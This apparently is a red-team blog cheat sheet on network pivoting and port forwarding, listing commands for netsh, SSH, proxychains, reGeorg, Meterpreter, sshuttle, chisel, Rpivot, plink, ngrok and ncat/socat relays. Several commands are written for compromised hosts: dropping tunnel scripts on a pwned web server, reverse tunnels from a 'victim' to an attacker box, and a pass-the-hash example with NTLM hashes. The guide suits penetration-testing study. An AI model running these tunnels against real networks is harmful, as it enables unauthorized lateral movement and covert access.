Pivoting & Port forwarding

This blog will focus on port forwarding concepts. Here are some methods we will follow in this blog : –

• windows Netsh
• SSH
• proxychains
• Web Socks
• Metasploit
• sshuttle
• chisel
• Rpivot
• Plink
• Ngrok

Windows Netsh Port Forwarding

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110

1. listenaddress – is a local IP address waiting for a connection.
2. listenport – local listening TCP port (the connection waits on it).
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command

Cool Tip: Konami SSH Port forwarding

[ENTER] + [~C]
-D 1090

Local Port Forwarding

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32

proxychains

Config file: /etc/proxychains.conf

[ProxyList]
socks4 localhost 8080

Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6

Web SOCKS – reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

• tunnel.ashx
• tunnel.aspx
• tunnel.js
• tunnel.jsp
• tunnel.nosocket.php
• tunnel.php
• tunnel.tomcat.5.jsp

python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

Metasploit

# Meterpreter list active port forwards
portfwd list 

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add –l 3389 –p 3389 –r target-host 
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete –l 3389 –p 3389 –r target-host 
# Meterpreter delete all port forwards
portfwd flush 

or

# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24 
use auxiliary/server/socks4a

# Meterpreter list all active routes
run autoroute -p 

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3 
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3 
# Meterpreter delete all routes
route flush 

sshuttle

The transparent proxy server that works as a poor man’s VPN. Forwards over ssh.

• Doesn’t require admin.
• Works with Linux and macOS.
• Supports DNS tunnelling.

pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24 

chisel

go get -v github.com/jpillora/chisel

# forward port 389 and 88 to hacker computer
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse

Rpivot

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

Through corporate proxy

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

plink

# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445 
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389  

plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445

plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185   

ngrok

# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip 

# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm

# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433

Basic Pivoting Types

Type	Use Case
Listen – Listen	Exposed asset, may not want to connect out.
Listen – Connect	Normal redirect.
Connect – Connect	Can’t bind, so connect to bridge two hosts

Listen – Listen

Type	Use Case
ncat	ncat -v -l -p 8080 -c "ncat -v -l -p 9090"
socat	socat -v tcp-listen:8080 tcp-listen:9090
remote host 1	ncat localhost 8080 < file
remote host 2	ncat localhost 9090 > newfile

Listen – Connect

Type	Use Case
ncat	ncat -l -v -p 8080 -c "ncat localhost 9090"
socat	socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090
remote host 1	ncat localhost -p 8080 < file
remote host 2	ncat -l -p 9090 > newfile

Connect – Connect

Type	Use Case
ncat	ncat localhost 8080 -c "ncat localhost 9090"
socat	socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090
remote host 1	ncat -l -p 8080 < file
remote host 2	ncat -l -p 9090 > newfile

References

• Network Pivoting Techniques – Bit rot
• Port Forwarding in Windows – Windows OS Hub
• Using the SSH “Konami Code” (SSH Control Sequences) – Jeff McJunkin
• A Red Teamer’s guide to pivoting- Mar 23, 2017 – Artem Kondratenko
• Pivoting Meterpreter